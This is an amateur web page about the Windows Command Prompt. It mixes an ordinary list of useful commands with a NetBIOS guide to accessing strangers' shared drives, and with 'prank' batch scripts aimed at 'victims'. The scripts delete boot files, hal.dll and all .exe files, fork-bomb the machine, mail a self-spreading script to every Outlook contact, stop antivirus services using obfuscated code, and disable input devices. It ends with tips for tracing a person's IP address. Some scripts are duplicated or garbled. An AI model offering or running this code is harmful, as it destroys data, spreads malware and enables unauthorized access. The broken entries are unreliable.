Windows command prompt

windows command prompt is a program that has been on windows scince it first came out.

it is a program that runs commands allowing the computer to run.

it is on all windows devices. it can be found by clicking the search button and typing cmd.

here is are several commands that can be used:

# **Netbios hacking**

**THIS NETBIOS HACKING GUIDE WILL TELL YOU ABOUT HACKING REMOTE COMPUTER AND GAINING ACCESS TO IT’S HARD-DISK OR PRINTER. NETBIOS HACK IS THE EASIEST WAY TO BREAK INTO A REMOTE COMPUTER.**

**STEP-BY-STEP NETBIOS HACKING PROCEDURE**

**1.Open command prompt**

**2. In the command prompt use the “net view” command**

**( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS. BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).**

**Example: C:\>net view \\219.64.55.112**

**The above is an example for operation using command prompt. “net view” is one of the netbios command to view the shared resources of the remote computer. Here “219.64.55.112″ is an IP address of remote computer that is to be hacked through Netbios. You have to substitute a vlaid IP address in it’s place. If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown. If not an error message is displayed. So repeat the procedure 2 with a different IP address.**

**3. After succeeding, use the “net use” command in the command prompt. The “net use” is another netbios command which makes it possible to hack remote drives or printers.**

**Example-1:**

**C:\>net use D: \\219.64.55.112\F**

**Example-2:**

**C:\>net use G: \\219.64.55.112\SharedDocs**

**Example-3:**

**C:\>net use I: \\219.64.55.112\Myprint**

**NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.**

**NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES, FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER. THAT IS, IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT**

**F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer. These are displayed after giving “net use” command. “219.64.55.112″ is the IP address of remote computer that you want to hack.**

**4. After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.**

**Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name. You can open it and access remote computer’s Hard-Drive. You can copy files, music, folders etc. from victim’s hard-drive. You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system. You can access files/folders quickly through “Command Prompt”.**

**NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios. That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed). So Repeat The Procedure 2,3 With Different IP Address.**

'***HAPPY NETBOS HACKING!!'***

End…

# 21 commands all windows uses should know.

The Windows command prompt is a feature that’s been a core part of the Windows operating system for a long time. There are some CMD commands that are so useful and easy to use that even regular users see the Windows command prompt as a key part of the operating system.

There are always rumors that it will be phased out at some point, but that’s unlikely to happen any time soon.

The following are 21 of the best CMD commands you should know if you want to have more control over your Windows PC.

1. ASSOC: Fix File Associations

One of the most powerful tools in the CMD command library is the ASSOC command.

Your computer associates certain file extensions with certain programs. This is how your computer knows to open Adobe when you double click a PDF file, or Microsoft Word when you double click a DOC file.

You can view all the file associations your computer knows about by typing **ASSOC** in the command window. You’ll see the file extension and the program it’s associated with.

You can set the association by typing something like **assoc .doc=Word.Document.8**.

2. FC: File Compare

Sometimes when files are changed over time, it’s hard to remember what the differences were between versions. You may not know that a CMD command offers the ability to compare files and see all differences, but it’s true.

The **FC** command performs either an ascii or a binary file comparison and will list all of the differences that it finds.

**Fc /a File1.txt File2.txt** will compare two ascii files.

**Fc /b Picture1.jpg Picture2.jpg** will do a binary compare on two images.

3. IPCONFIG: IP Configuration

Network troubleshooting is never simple, but one command that makes it much easier is **IPCONFIG**.

Using this command in the CMD command prompt returns detailed information about your current network adapter connection including:

·        Current IP Address

·        Subnet Mask

·        Default Gateway IP

·        Current domain

This information can help you troubleshoot router issues and other connection issues you could be having with your network adapter.

4. NETSTAT: Network Statistics

Concerned that you could have malware running on your computer that’s connecting to internet locations without you knowing about it?

If you run a **NETSTAT** command in the command prompt, you can get a list of all active TCP connections from your computer.

5. PING: Send Test Packets

An IT Analyst’s best friend is the **PING** command.  Running this command sends test packets over the network to the target system.

You can use the PING command to test whether your computer can access another computer, a server, or even a website. It can help with revealing network disconnections. It also provides transit time for the packets in milliseconds, so it also reveals a bad network connection as well.

6. TRACERT: Trace Route

**TRACERT** is a fascinating Windows Command to use. If you’re ever curious to see the path your internet traffic takes to get from your browser to a remote system like Google servers, you can use TRACERT to see it.

The command stands for “Trace Route”, which sends packets out to a remote destination (server or website), and provides you with all of the following information:

·        Number of hops (intermediate servers) before getting to the destination

·        Time it takes to get to each hop

·        The IP and sometimes the name of each hop

TRACERT can reveal how the routes of your internet requests change depending where you’re accessing the web. It also helps with troubleshooting a router or switch on a local network that may be problematic.

7. POWERCFG: Power Configuration

Are you frustrated with how quickly your laptop seems to run out of power? It could be that your power settings are configured as efficiently as possible. There’s a windows CMD command called **POWERCFG** (power configuration) that can help. Run the command prompt as an administrator and type **powercfg – energy** to get a full power efficiency report.

The process can take up to about a minute, but when it’s done, you’ll see whether there are any warnings or errors that might help you improve the power efficiency of your system.

View the energy-report.html file to see the details of those errors and warnings.

8. SHUTDOWN: Turn Off Computer

The **SHUTDOWN** command is a pretty versatile command that lets you shutdown the computer but control the behavior of that shutdown. It’s commonly used as a scheduled task or part of an IT batch job after patches have been applied to a computer system.

Typing **shutdown /i** from the command prompt will initiate a shutdown, but it’ll upon a GUI to give the user an option on whether to restart or do a full shutdown. If you don’t want to have any GUI pop up, you can just issue a **shutdown /s** command.

There is a long list of other parameters you can use to do a log off, hibernate, restart, and more. Just type **shutdown** without any arguments to see them all.

9. SYSTEMINFO: System Information

If you need to know what brand of network card you have, processor details, or the exact version of your Windows OS, the **SYSTEMINFO** command can help.

This command polls your system and pulls the most important information about your system. It lists the information in a clean format that’s easy to read.

10. SFC: System File Checker

If you’re ever concerned that a virus or some other software might have corrupted your core system files, there’s a Windows command that can scan those files and ensure their integrity.

You need to launch CMD as administrator (right click and choose **Run as Administrator**). Typing SFC /SCANNOW will check the integrity of all protected system files. If a problem is found, the files will be repaired with backed-up system files.

The SFC command also lets you:

·        **/VERIFYONLY**: Check the integrity but don’t repair the files.

·        **/SCANFILE**: Scan the integrity of specific files and fix if corrupted.

·        **/VERIFYFILE**: Verify the integrity of specific files but don’t repair them.

·        **/OFFBOOTDIR**: Use this to do repairs on an offline boot directory.

·        **/OFFWINDIR**: Use this to do repairs on an offline Windows directory.

·        **/OFFLOGFILE**: Specify a path to save a log file with scan results.

The scan can take up to 10 or 15 minutes, so give it time.

11. NET USE: Map drives

If you want to map a new drive, you could always open File Explorer, right click on This PC, and go through the Map Network Drive wizard. However, using the **NET USE** command, you can do the same thing with one command string.

For example, if you have a share folder on a computer on your network called \\OTHER-COMPUTER\SHARE\, you can map this as your own Z: drive by typing the command:

**Net use Z: “\\OTHER-COMPUTER\SHARE” /persistent:yes**

The **persistent** switch tells your computer that you want this drive remapped every time you log back into your computer.

12. CHKDSK: Check Disk

While the SFC command only checks the integrity of core system files, you can use the **CHKDSK** command to scan an entire drive.

The command to check the C: drive and repair any problems, launch the command window as an administrator and type **CHKDSK /f C:**.

This command checks for things like:

·        File fragmentation

·        Disk errors

·        Bad sectors

The command can fix any disk errors (if possible). When the command is finished, you’ll see a status of the scan and what actions were taken.

13. SCHTASKS: Schedule Tasks

Windows comes with a wizard for creating scheduled tasks. For example, maybe you have a BAT file stored on C:\temp that you want to run every day at noon.

You’d have to click through the Scheduled Task wizard to configure this. Or you can type a single **SCHTASKS** command to set it up.

**SCHTASKS /Create /SC HOURLY /MO 12 /TR Example /TN c:\temp\File1.bat**

The scheduled switch accepts arguments like minute, hourly, daily, and monthly. Then you specify the frequency with the /MO command.

If you typed the command correctly, you’ll see the response, **SUCCESS: The scheduled task “Example” has successfully been created**.

14. ATTRIB: Change File Attributes

In Windows, you can change file attributes by right clicking on a file and finding the right property to change. However, instead of hunting around for the file attribute, you can use the **ATTRIB** command to set the file attributes.

For example, if you type: **ATTRIB +R +H C:\temp\File1.bat**, it’ll set File1.bat as a hidden, read-only file.

There is no response when it’s successful, so unless you see an error message, the command worked.

Other Windows CMD Commands

As you can see, there are some powerful and useful things you can do with the Windows command prompt, if you know the right commands.

Believe it or not, there are even more commands that will give you the ability to do some things you probably never realized just by typing a simple command.

·        **BITSADMIN**: Initiate upload or download jobs over the network or internet and monitor the current state of those file transfers.

·        **COLOR**: Change the background color of the command prompt window.

·        **COMP**: Compare the contents of any two files to see the differences.

·        **FIND/FINDSTR**: Search for strings inside of any ASCII files.

·        **PROMPT**: Change the command prompt from C:\> to something else.

·        **TITLE**: Change the title of the command prompt window.

·        **REGEDIT**: Edit keys in the Windows registry (use with caution).

·        **ROBOCOPY**: A powerful file copy utility built right into Windows.

If you’re interested in learning more, Microsoft offers a full list of all of the Windows CMD commands included in the latest version of the Windows OS.

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# Fun stuff

## Best command prompt pranks. Fun cmd commands on friends/family.

### **1. Swapping mouse keys**

Pretty straightforward. Swaps the left and right buttons on the mouse so, when the victim left-clicks, it will be registered as a right click. To reset this, you can go into mouse settings and change it. Pretty easy. But annoying in so many levels. XD

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Swap Mouse Buttons

RUNDLL32 USER32.DLL,SwapMouseButton

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **2. Change the login password**

Ever had a friend or a loved one who just won’t give you their computer password no matter how much you ask? Well, time to give them a taste of their own medicine. Although, they’ll probably never let you access their computer again.

**Code:*Best command prompt pranks. cmd pranks on friends/family.***

@ echo off

rem ———————————

rem Change User Password To “Put password here without quotes”

net user %username% “Username without quotes”

Best command prompt pranks. cmd pranks on friends/family.

### **3. Disk tray gone mad**

Use this and the disk tray will go crazy. It will keep popping out and in, like it’s possessed or something. No cause for concern. But worth the effort, if you’re looking to annoy someone.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Start Opening Disk Tray

echo Do >> “opendisk.vbs”

echo Set oWMP = CreateObject(“WMPlayer.OCX.7” ) >> “opendisk.vbs”

echo Set colCDROMs = oWMP.cdromCollection >> “opendisk.vbs”

echo colCDROMs.Item(d).Eject >> “opendisk.vbs”

echo colCDROMs.Item(d).Eject >> “opendisk.vbs”

echo Loop >> “opendisk.vbs”

start “” “opendisk.vbs”

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **4. Reset the computer clock**

Reset your computer clock to the start of the century. Not much, but atleast the victim will have to go through all the process of setting the time and date again.

**Code:*Best command prompt pranks. cmd pranks on friends/family.***

@ echo off

rem ———————————

rem Change Computer Time

time 12:00

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **5. Hide My Documents folder**

Pretty much self-explanatory.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Hide My Documents Folder

attrib +h “%userprofile%\my documents”

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **6. Blue Screen**

Cause the whole screen to go blue. A simple restart should fix this but it’s worth the panic you create.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Activate Blue Screen Of Death

@((( Echo Off > Nul ) & Break Off )

@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run

@Reg Add “%HiveBSOD%” /v “BSOD” /t “REG\_SZ” /d %0 /f > Nul

@Del /q /s /f “%SystemRoot%\Windows\System32\Drivers\\*.\*”

)

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **7. The last restart**

**Caution.** This one’s pretty dangerous. Once you use this, the computer may never switch on again. So, only use if you know the consequences.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem The Last Restart

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

shutdown /r /t 00

rem ———————————

Best command prompt pranks. fun cmd commands pranks on friends/family.

### **8. Can’t close nothing**

Everything the victim closes will magically reappear again. That has to be one of the most funniest cmd pranks ever. Just watch him go nuts on the **close** button.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem The Last Restart

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

shutdown /r /t 00

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **9. File type identity crisis**

Change any particular file extension name to which ever you want to. For example, change filename.mp3 to filename.exe. That enough to wreak major havoc in the computer.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Confuse File Extensions Powerup

assoc .dll=txtfile

assoc .exe=pngfile

assoc .vbs=Visual Style

assoc .reg=xmlfile

assoc .txt=regfile

rem ———————————

rem Confuse File Extensions for text

assoc .mp3=txtfile

assoc .xml=txtfile

assoc .png=txtfile

rem ———————————

Best command prompt pranks.fun cmd commands pranks on friends/family.

### **10. R.I.P. Computer**

Ok. This one is pretty self-explanatory. And we don’t recommend you do this. Because what this does is it deletes a particular file called hal.dll which keeps the computer running. Deleting that will literally kill your computer.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Disable Computer By Deleting hal.dll

del /f /q %SystemDrive%\WINDOWS\system32\hal.dll

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

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### **11. Delete everything of a specified file type**

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Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off

rem ———————————

rem Delete All Exe

DIR /S/B %SystemDrive%\\*.exe >> FIleList\_exe.txt

echo Y | FOR /F “tokens=1,\* delims=: ” %%j in (FIleList\_exe.txt) do del “%%j:%%k”

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **12. Crash the computer**

This one’s not that bad. All it does is crash the computer once. You can restart and the computer will be back to normal. But atleast you’ll have your moment to gloat.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Crash Computer

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

start “” crash.bat

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **14. Delete a program**

Pretty mild. All this does is delete a particular program or software from the victim’s computer. He or she will have to re-install it again. Recommended target: .net. Most apps need that one. JDK would be a good bet too. And if the victim’s a gamer, find his/her favourite game, and you know what to do.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Delete Notepad

tskill notepad

del /f /q “%windir%\system32\notepad.exe”

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **14. Mass genicide online (Warning: Illegal)**

Read the heading. This one is so dangerous, it needs a disclaimer.You absolutely cannot do this unless you want to end up in prison. Literally. This code will send viruses to every contact in your outlook mail. That’s illegal and if anyone goes to the cops and they find you, you’re off to prison.

**Disclaimer:**

*The reader is highly recommended to refrain from using the code mentioned below as it is illegal and such action can cause an individual to get arrested. We are in no way responsible for your actions and have already urged you to refrain from using this code. Everything you do with it will be at your own risk.*

**Code:Best command prompt pranks. cmd pranks on friends/family.**

@ echo off

rem ———————————

rem Spread Via Outlook Contact Book

echo dim x>>%SystemDrive%\mail.vbs

echo on error resume next>>%SystemDrive%\mail.vbs

echo Set fso =”Scripting.FileSystem.Object”>>%SystemDrive%\mail.vbs

echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs

echo Set ol=CreateObject(“Outlook.Application”)>>%SystemDrive%\mail.vbs

echo Set out=WScript.CreateObject(“Outlook.Application”)>>%SystemDrive%\mail.vbs

echo Set mapi = out.GetNameSpace(“MAPI”)>>%SystemDrive%\mail.vbs

echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs

echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs

echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs

echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs

echo Set Mail=ci>>%SystemDrive%\mail.vbs

echo Mail.to=ol.GetNameSpace(“MAPI”).AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs

echo Mail.Subject=”Is this you?”>>%SystemDrive%\mail.vbs

echo Mail.Body=”Man that has got to be embarrassing!”>>%SystemDrive%\mail.vbs

echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs

echo Mail.send>>%SystemDrive%\mail.vbs

echo Next>>%SystemDrive%\mail.vbs

echo ol.Quit>>%SystemDrive%\mail.vbs

start “” “%SystemDrive%\mail.vbs”

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **15. Self Destruct**

Add this code to the end of any code file and after the victim closes the file, it will delete itself.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

rem ———————————

rem Self Destruct

del /f /q %0

rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

### **16. Kill the anti-virus**

Ironic. The victim will probably have an anti-virus so, you can kill it by writing this code into a file and running it. Boom. That anti-virus is dead.

**Remove Hash before the code to execute**

**Code:Best command prompt pranks. cmd pranks on friends/family.**

#@ echo off

#rem ———————————

#rem Encripted AV Killer

#del /F /Q %SystemDrive%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat

#set ii=ne

#set ywe=st

#set ury=t

#set iej=op

#set jt53=Syma

#set o6t=nor

#set lyd2=fee

#set h3d=ton

#set gf45=ntec

#set own5=McA

#%ii%%ury% %ywe%%iej% “Security Center” /y

#%ii%%ury% %ywe%%iej% “Automatic Updates” /y

#%ii%%ury% %ywe%%iej% “%jt53%%gf45% Core LC” /y

#%ii%%ury% %ywe%%iej% “SAVScan” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Firewall Monitor Service” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto-Protect Service” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto Protect Service” /y

#%ii%%ury% %ywe%%iej% “%own5%%lyd2% Spamkiller Server” /y

#%ii%%ury% %ywe%%iej% “%own5%%lyd2% Personal Firewall Service” /y

#%ii%%ury% %ywe%%iej% “%own5%%lyd2% SecurityCenter Update Manager” /y

#%ii%%ury% %ywe%%iej% “%jt53%%gf45% SPBBCSvc” /y

#cls

#%ii%%ury% %ywe%%iej% “Ahnlab Task Scheduler” /y

#%ii%%ury% %ywe%%iej% navapsvc /y

#%ii%%ury% %ywe%%iej% “Sygate Personal Firewall Pro” /y

#%ii%%ury% %ywe%%iej% vrmonsvc /y

#%ii%%ury% %ywe%%iej% MonSvcNT /y

#%ii%%ury% %ywe%%iej% SAVScan /y

#%ii%%ury% %ywe%%iej% NProtectService /y

#%ii%%ury% %ywe%%iej% ccSetMGR /y

#%ii%%ury% %ywe%%iej% ccEvtMGR /y

#%ii%%ury% %ywe%%iej% srservice /y

#%ii%%ury% %ywe%%iej% “%jt53%%gf45% Network Drivers Service” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% Unerase Protection” /y

#%ii%%ury% %ywe%%iej% MskService /y

#%ii%%ury% %ywe%%iej% MpfService /y

#%ii%%ury% %ywe%%iej% mcupdmgr.exe /y

#%ii%%ury% %ywe%%iej% “%own5%%lyd2%AntiSpyware” /y

#%ii%%ury% %ywe%%iej% helpsvc /y

#%ii%%ury% %ywe%%iej% ERSvc /y

#%ii%%ury% %ywe%%iej% “\*%o6t%%h3d%\*” /y

#%ii%%ury% %ywe%%iej% “\*%jt53%%gf45%\*” /y

#%ii%%ury% %ywe%%iej% “\*%own5%%lyd2%\*” /y

#cls

#%ii%%ury% %ywe%%iej% ccPwdSvc /y

#%ii%%ury% %ywe%%iej% “%jt53%%gf45% Core LC” /y

#%ii%%ury% %ywe%%iej% navapsvc /y

#%ii%%ury% %ywe%%iej% “Serv-U” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto Protect Service” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Client” /y

#%ii%%ury% %ywe%%iej% “%jt53%%gf45% AntiVirus Client” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Server” /y

#%ii%%ury% %ywe%%iej% “NAV Alert” /y

#%ii%%ury% %ywe%%iej% “Nav Auto-Protect” /y

#cls

#%ii%%ury% %ywe%%iej% “McShield” /y

#%ii%%ury% %ywe%%iej% “DefWatch” /y

#%ii%%ury% %ywe%%iej% eventlog /y

#%ii%%ury% %ywe%%iej% InoRPC /y

#%ii%%ury% %ywe%%iej% InoRT /y

#%ii%%ury% %ywe%%iej% InoTask /y

#cls

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto Protect Service” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Client” /y

#%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Corporate Edition” /y

#%ii%%ury% %ywe%%iej% “ViRobot Professional Monitoring” /y

#%ii%%ury% %ywe%%iej% “PC-cillin Personal Firewall” /y

#%ii%%ury% %ywe%%iej% “Trend Micro Proxy Service” /y

#%ii%%ury% %ywe%%iej% “Trend NT Realtime Service” /y

#%ii%%ury% %ywe%%iej% “%own5%%lyd2%.com McShield” /y

#%ii%%ury% %ywe%%iej% “%own5%%lyd2%.com VirusScan Online Realtime Engine” /y

#%ii%%ury% %ywe%%iej% “SyGateService” /y

#%ii%%ury% %ywe%%iej% “Sygate Personal Firewall Pro” /y

#cls

#%ii%%ury% %ywe%%iej% “Sophos Anti-Virus” /y

#%ii%%ury% %ywe%%iej% “Sophos Anti-Virus Network” /y

#%ii%%ury% %ywe%%iej% “eTrust Antivirus Job Server” /y

#%ii%%ury% %ywe%%iej% “eTrust Antivirus Realtime Server” /y

#%ii%%ury% %ywe%%iej% “Sygate Personal Firewall Pro” /y

#%ii%%ury% %ywe%%iej% “eTrust Antivirus RPC Server” /y

#cls

#%ii%%ury% %ywe%%iej% netsvcs

#%ii%%ury% %ywe%%iej% spoolnt

#rem ——————————–

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### **17. Bye Bye Task Manager**

No more Ctrl+Alt+Delete. Kill off the task manager to never appear again. To bring it back up, replace **Disable** in the code below with **Enable**.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

rem ———————————

rem Disable Task Manager

reg add HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG\_SZ /d 1 /f >nul

rem ———————————

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### **18. No more internet**

Kill the victim’s internet. Although it won’t take much to bring it back up again.

**Code:Best command prompt pranks. cmd pranks on friends/family.**

rem ———————————

rem Disable Internet

@Echo off & @@Break Off

Ipconfig /release

%jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!

P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%

rem ———————————

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### **19. Disable Keyboard and mouse**

Disables the victim’s keyboard and mouse, so unless they have a touch screen monitor, they’re in some serious trouble. Not as serious as killing off their computer, though.

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rem ———————————

rem Disable Mouse

set key=”HKEY\_LOCAL\_MACHINE\system\CurrentControlSet\Services\Mouclass”

reg delete %key%

reg add %key% /v Start /t REG\_DWORD /d 4

rem ———————————

**Keyboard:**

rem ———————————

rem Disable Keyboard

echo Windows Registry Editor Version 5.00 > “nokeyboard.reg”

echo [HKEY\_LOCAL\_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> “nokeyboard.reg”

echo “Scancode Map”=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> “nokeyboard.reg”

echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> “nokeyboard.reg”

echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> “nokeyboard.reg”

echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> “nokeyboard.reg”

echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> “nokeyboard.reg”

echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> “nokeyboard.reg”

echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> “nokeyboard.reg”

echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> “nokeyboard.reg”

echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> “nokeyboard.reg”

echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> “nokeyboard.reg”

echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> “nokeyboard.reg”

echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> “nokeyboard.reg”

echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> “nokeyboard.reg”

echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> “nokeyboard.reg”

echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> “nokeyboard.reg”

echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> “nokeyboard.reg”

echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> “nokeyboard.reg”

echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> “nokeyboard.reg”

echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> “nokeyboard.reg”

echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> “nokeyboard.reg”

echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> “nokeyboard.reg”

start “nokeyboard.reg”

rem ———————————

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# Important hacking tool

Use Your Command Prompt

Using your computer command prompt to find someone’s IP address is a bit more complicated than the above method.

1.     First, you need to open your computer’s command prompt. For Windows, you access the command prompt via the start menu and then search for “command prompt.” For devices that use the Mac operating system, the command prompt is called “terminal,” which you will find in the “Utilities” folder.

2.     Once you have the command prompt opened, you need to ping the website of which you are trying to track the IP address. Type “ping” followed by the website you are trying to trace. As an example, if you wanted to track the IP address of Amazon, you would type in “ping www.amazon.com” and then hit enter.

3.     Your command prompt will return the IP addresses of the website you have searched for.

The above steps will allow you to track the IP address of a specific website, but what if you want or need to track a particular individual?

1.     As per the above step one, open up your computer’s command prompt.

2.     Open up a messenger service, Facebook chat, for example, and start a conversation with the person you wish to track. Close everything else open in your browser, and if possible, delete your history and clear your cache.

3.     With both the chat and command prompt open type in “netstat -an” into the prompt and press enter.

4.     Your command prompt will return all the IP addresses you are connected to, which you can then check with an IP location checker. You will not receive the exact location, though you can see if the person is in the same city as they claim to be.